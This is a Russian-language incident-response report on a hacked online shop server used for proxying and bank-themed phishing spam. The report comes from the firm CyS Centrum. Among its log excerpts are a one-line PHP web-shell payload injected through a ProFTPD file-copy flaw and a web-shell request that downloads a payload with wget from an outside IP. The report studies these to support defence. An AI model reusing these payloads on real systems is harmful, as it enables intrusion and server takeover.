Интернет-магазины: угрозы и безопасность

В нынешнее время большая часть информационных активов размещена и доступна в сети Интернет. Вместе с тем, реализация киберугроз в отношении последних может отрицательно сказаться на ведении бизнеса в целом (к примеру, в последнее время участились случаи компрометации данных клиентов, обрабатываемых в информационных системах). В статье будет освещен один из кейсов, связанный со взломом Интернет-магазина и его использованием в злонамеренных целях.

Следуя просьбе одного из наших клиентов, обратившегося по случаю возникновения определенных проблем, связанных с функционированием Интернет-магазина, нами было произведено компьютерно-техническое исследование соответствующего веб-сервера. Задача сводилась к поиску возможных результатов взлома и иных последствий, которые могли бы касаться нарушения целостности, конфиденциальности или доступности самого Интернет-магазина и/или обрабатываемой в нем информации. Забегая наперед, отметим, что в результате исследования установлено, что сервер был скомпрометирован более года назад, а злоумышленники все это время использовали его в своих целях – для проксирования трафика, рассылки СПАМа и др.

На первом этапе, изучив файлы регистрации событий (далее – логи) веб-сервера, было определено наличие более десятка обфусцированных веб-шеллов, с помощью которых мог осуществляться удаленный скрытый доступ к веб-ресурсу. На рис. 1-3 приведены примеры всем известных веб-шеллов.

Рис. 1

Рис. 2

Рис. 3

Зачастую злоумышленники не осуществляют взлом ради взлома – в любом случае, с позиции взломщика, устройство, к которому получен несанкционированный доступ, может приносить пользу и использоваться по назначению злоумышленника.

Так было и в этот раз – обратив внимание на перечень запущенных процессов ($ ps -aux), невооруженным взглядом была определена аномалия, пример которой приведен на листинге 1.

root  5945  0.0  0.0  74408  6944 ?  S    03:39   0:00 sendmail: MTA: ./t8LBpi8v020344    pop.gto.no.: user open
root  6426  0.0  0.0  74500  6988 ?  S    03:49   0:00 sendmail: MTA: ./t8LARTZ5027596    mx.stm.it.: user open
root  7639  0.0  0.0  74716  7228 ?  S    04:19   0:00 sendmail: MTA: ./t8LBYIbS010761    gtit.net.: user open
root  8498  0.0  0.0  74344  6900 ?  S    04:39   0:00 sendmail: MTA: ./t8LBaR05012256    gvhk.no.: user open
root  8896  0.0  0.0  74340  6872 ?  S    04:49   0:00 sendmail: MTA: ./t8LBZZ94011616    mail.hsd.no.: user open
root  9236  0.0  0.0  74328  6852 ?  S    04:59   0:00 sendmail: MTA: ./t8L9qoDi007051    consorzio.ph.: user open
root  9724  0.0  0.0  74332  6848 ?  S    05:09   0:00 sendmail: MTA: ./t8LBhvBR015257    hangout.no.: user open
root  1063  0.0  0.0  74224  6820 ?  S    05:39   0:00 sendmail: MTA: ./t8LBlTpK017700    hoyseter.no.: user open

Листинг 1

По непонятным причинам на сервере было запущено множество процессов sendmail (агент передачи почты) [1]. Еще более пугающим оказалось то, что процесс был запущен от пользователя “root”, что наталкивало на мысль о возможном повышении привилегий [2].

Конечно же, настроив сервер под свои нужды, злоумышленники предпринимают меры по обеспечению надежности и скрытости доступа к нему (чтобы в любой момент можно было им воспользоваться). В таких случаях, как правило (не говоря о размещении веб-шеллов, скрытых загрузчиков файлов, модификации .htaccess и др.), предпринимаются меры по установке бэкдора [3].

В тривиальных случаях для выявления бэкдора на сервере достаточно воспользоваться штатными утилитами:

  • netstat
  • lsof

Так мы и сделали. Сначала отобразили список установленных TCP-соединений (IP v.4) и соответствующих им процессов ($ netstat -pant4 | grep EST), листинг 2.

tcp        0      0  1.2.3.4:39577	217.160.6.81:21		ESTABLISHED 29983/sshd -D   
tcp        0     48  1.2.3.4:57897 	5.6.7.8:43229		ESTABLISHED 5590/0          
tcp        0      0  1.2.3.4:46741	217.160.6.81:80		ESTABLISHED 21309/apache2 -k start
tcp        0      0  1.2.3.4:10000	121.42.210.61:61768    	ESTABLISHED 10537/perl      
tcp        0      0  1.2.3.4:10000 	210.70.60.137:60272	ESTABLISHED 15536/perl

Листинг 2

Как известно, по умолчанию веб-сервер работает на 80/tcp или 443/tcp сетевом порту. Из листинга 2 мы видим, по крайней мере, два подозрительных сетевых соединения (1 и 3 строки). Первое из них – это процесс 29983/sshd (а ведь ssh-сервер на исследуемом объекте “слушает” на порту 57897/tcp). А второе – процесс 21309/apache2 (в разрез тому, что штатный процесс веб-сервера “слушает” на 80 порту). Для простоты понимания отметим, что сервер с IP-адресом 217.160.6.81 является сервером злоумышленника, а на исследуемом сервере был обнаружен SSH-бэкдор. Из листинга 2 также понятно, что злоумышленники открыли обратные соединения (back-connect) к своему серверу 217.160.6.81 (сетевые порты 21 и 80 выбраны неспроста; основная цель – обход правил фильтрации информационных потоков, так как исходящий трафик на указанные порты, как правило, не фильтруется межсетевым экраном).

Более подробный анализ подозрительных процессов (с использованием утилиты lsof), еще раз подтвердил наличие аномалий.

$ lsof -p 29983
COMMAND     PID     USER   FD   TYPE    DEVICE SIZE/OFF      NODE NAME
/usr/sbin 29983 www-data  cwd    DIR       9,2     4096  84936514 /tmp/no22
/usr/sbin 29983 www-data  rtd    DIR       9,2     4096         2 /
/usr/sbin 29983 www-data  txt    REG       9,2    10456  60817668 /usr/bin/perl
/usr/sbin 29983 www-data  mem    REG       9,2    18704  60820936 /usr/lib/perl/5.14.2/auto/IO/IO.so
/usr/sbin 29983 www-data  mem    REG       9,2    35256  60820833 /usr/lib/perl/5.14.2/auto/Socket/Socket.so
/usr/sbin 29983 www-data  mem    REG       9,2    35104  23858104 /lib/x86_64-linux-gnu/libcrypt-2.13.so
/usr/sbin 29983 www-data  mem    REG       9,2  1599504  23858101 /lib/x86_64-linux-gnu/libc-2.13.so
/usr/sbin 29983 www-data  mem    REG       9,2   131107  23858119 /lib/x86_64-linux-gnu/libpthread-2.13.so
/usr/sbin 29983 www-data  mem    REG       9,2   530736  23858108 /lib/x86_64-linux-gnu/libm-2.13.so
/usr/sbin 29983 www-data  mem    REG       9,2    14768  23858115 /lib/x86_64-linux-gnu/libdl-2.13.so
/usr/sbin 29983 www-data  mem    REG       9,2  1574680  60820618 /usr/lib/libperl.so.5.14.2
/usr/sbin 29983 www-data  mem    REG       9,2   136936  23858123 /lib/x86_64-linux-gnu/ld-2.13.so
/usr/sbin 29983 www-data    0r   CHR       1,3      0t0      1028 /dev/null
/usr/sbin 29983 www-data    1w  FIFO       0,8      0t0 131853719 pipe
/usr/sbin 29983 www-data    2w   REG       9,2  7642973  52173945 /var/log/apache2/error.log.1
/usr/sbin 29983 www-data    3u  IPv4 131857011      0t0       TCP Debian:39577->s310973323.onlinehome.info:ftp (ESTABLISHED)
/usr/sbin 29983 www-data   15u   REG       9,2        0  84936473 /tmp/ZCUDj2Ui3I (deleted)

Листинг 3

$ lsof -p 21309
COMMAND     PID     USER   FD   TYPE    DEVICE SIZE/OFF      NODE NAME
/usr/sbin 21309 www-data  cwd    DIR       9,2     4096  84936480 /tmp/pp3
/usr/sbin 21309 www-data  rtd    DIR       9,2     4096         2 /
/usr/sbin 21309 www-data  txt    REG       9,2    10456  60817668 /usr/bin/perl
/usr/sbin 21309 www-data  mem    REG       9,2    18704  60820936 /usr/lib/perl/5.14.2/auto/IO/IO.so
/usr/sbin 21309 www-data  mem    REG       9,2    35256  60820833 /usr/lib/perl/5.14.2/auto/Socket/Socket.so
/usr/sbin 21309 www-data  mem    REG       9,2    35104  23858104 /lib/x86_64-linux-gnu/libcrypt-2.13.so
/usr/sbin 21309 www-data  mem    REG       9,2  1599504  23858101 /lib/x86_64-linux-gnu/libc-2.13.so
/usr/sbin 21309 www-data  mem    REG       9,2   131107  23858119 /lib/x86_64-linux-gnu/libpthread-2.13.so
/usr/sbin 21309 www-data  mem    REG       9,2   530736  23858108 /lib/x86_64-linux-gnu/libm-2.13.so
/usr/sbin 21309 www-data  mem    REG       9,2    14768  23858115 /lib/x86_64-linux-gnu/libdl-2.13.so
/usr/sbin 21309 www-data  mem    REG       9,2  1574680  60820618 /usr/lib/libperl.so.5.14.2
/usr/sbin 21309 www-data  mem    REG       9,2   136936  23858123 /lib/x86_64-linux-gnu/ld-2.13.so
/usr/sbin 21309 www-data    0r   CHR       1,3      0t0      1028 /dev/null
/usr/sbin 21309 www-data    1w  FIFO       0,8      0t0 131775511 pipe
/usr/sbin 21309 www-data    2w   REG       9,2  7642973  52173945 /var/log/apache2/error.log.1
/usr/sbin 21309 www-data    3u  IPv4 131769816      0t0       TCP Debian:46741->s310973323.onlinehome.info:http (ESTABLISHED)
/usr/sbin 21309 www-data   15u   REG       9,2        0  84936473 /tmp/ZCUDj2Ui3I (deleted)

Листинг 4

Из листингов 3 и 4 понятно, что (1) с исследуемого сервера установлено обратное соединение к серверу злоумышленника s310973323.onlinehome.info (217.160.6.81) и, что (2) очень подозрительно выглядит использование вышеуказанными процессами файлов из директорий /tmp/pp3 и /tmp/no22. Давайте проанализируем их содержимое (рис. 4).

Рис. 4

Забегая наперед, отметим следующее. Эти директории содержали скрипты, html-страницы и текстовые файлы (с перечнем электронных почтовых адресов), используемые для таргетированной рассылки СПАМа. В нашем случае эти СПАМ-кампании были нацелены на пользователей итальянских и норвежских (а также датских) банков. К слову говоря, первые два символа названия папки “no22” как раз и соответствуют стране атакуемых пользователей (NO – Norway). Удалось также определить, что для “норвежцев” (в теле СПАМ-письма) была уготована ссылка на троянскую программу для мобильных телефонов. В то время как итальянцам “засылали” ссылку на нечто неопределенное (в виду множества редиректов) но тоже вредоносное (исходя из записей на VirusTotal).

Содержимое файлов index.html (это как раз то, что вставляется в тело СПАМ-письма), отображено на рис. 5-6.


Рис. 5

Рис. 6

В обоих сообщениях доверчивому пользователю под разным “соусом” (“внутреннее сообщение от банка” или “угроза блокировки аккаунта Apple”) предлагают перейти по ссылке. Если посмотреть в исходный код этих html-страниц, то, конечно же, URL видимой в теле письма ссылки будет кардинально отличаться от того, куда злоумышленники хотят заставить перейти пользователей на самом деле (рис.7-8).

Рис. 7

Рис. 8

В целях эксперимента, с использованием ресурса VirusTotal (рис. 9), мы проанализировали репутацию домена oaza.tv на предмет наличия каких-либо отрицательных записей о нем (например, распространение вредоносных программ). Одна из записей на рис. 9 свидетельствует о том, что, по крайней мере, один из “вредоносов” (sha256: 7aad4657396514c56cd3438617df59953bed6988cde725a7c80b0ab3cc99694e) содержал в своей структуре строку с доменом oaza.tv. Более того, вышеуказанный файл определялся одним из антивирусов как вредоносный (рис. 10).


Рис. 9

Рис. 10

Не оставляет сомнений, что исследуемый сервер использовался злоумышленниками для рассылки СПАМа с целью распространения ссылок на вредоносные программы. Для полноты картины приведем содержимое файла x.php, который как раз и содержит код для автоматической рассылки СПАМа (рис. 11).

Рис. 11

Как и отмечалось ранее, файл list.txt содержит перечень электронных почтовых адресов, на которые следует доставлять СПАМ. Пример такого списка, с фильтром по строке “bank”, отображен на рис. 12.

Рис. 12

Конечно же, одной из составляющих частей исследования является идентификация причин, поспособствовавших реализации угрозы получения третьими лицами несанкционированного доступа к серверу. В описываемом случае все было довольно тривиально – злоумышленники проэксплуатировали уязвимость в программном обеспечении ProFTPD 1.3-1.3.5, позволяющую неавторизованному удаленному пользователю копировать файлы в пределах пространства сервера [4]. Техническое подтверждение нашего предположения обнаружено в логах (листинг 5).

$ cat proftpd.log.1 | grep 'Permission denied'
Sep 13 11:54:01 Debian proftpd[9796] Debian (s310973323.onlinehome.info[217.160.6.81]): error opening destination file '/tmp/.<?php passthru($_GET['cmd']);echo 'm3rg3';?>' for copying: Permission denied

Листинг 5

После успешной эксплуатации уязвимости на сервер были “докачаны” другие, необходимые злоумышленнику, программы (листинг 6).

185.56.80.192 - - [13/Sep/2015:12:48:04 +0200] "GET /d.php?cmd=wget%http://103.1.185.91/send/m.tgz HTTP/1.1" 200 341 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0"

Листинг 6

Это, пожалуй, всё. Подведем итоги и структурируем изложенный материал.

  1. Интернет-магазин в наше время (для определенных категорий людей), это основа бизнеса, его ключевой актив. Нарушение режима его штатной работы может не только поспособствовать добавлению IP-адреса/домена веб-сервера в блэк-листы (тем самым понизив индексируемость, посещаемость), а и привести к компрометации учетных записей пользователей (что так часто стало случаться в последнее время) или же выведению его из строя на определенный срок.
  2. К настройке веб-сервера и обеспечению его безопасности следует подходить со всей серьезностью и ответственностью, не пренебрегая элементарными правилами безопасности (контроль целостности, протоколы с шифрованием, ограничение доступа, мониторинг событий информационной безопасности, контроль уязвимостей и актуальности ПО и др.).

Специалисты CyS Centrum неоднократно обеспечивали реагирование на инциденты, связанные со взломами веб-ресурсов. В виду этого, накопленный опыт и собственные практические наработки позволяют обеспечивать надежную и комплексную защиту "Интернет-активов".


Отдел реагирования на инциденты CyS Centrum

Ссылки:
[1] https://ru.wikipedia.org/wiki/Sendmail
[2] https://ru.wikipedia.org/wiki/Повышение_привилегий
[3] https://ru.wikipedia.org/wiki/Бэкдор
[4] https://xakep.ru/2015/06/22/exploits-196/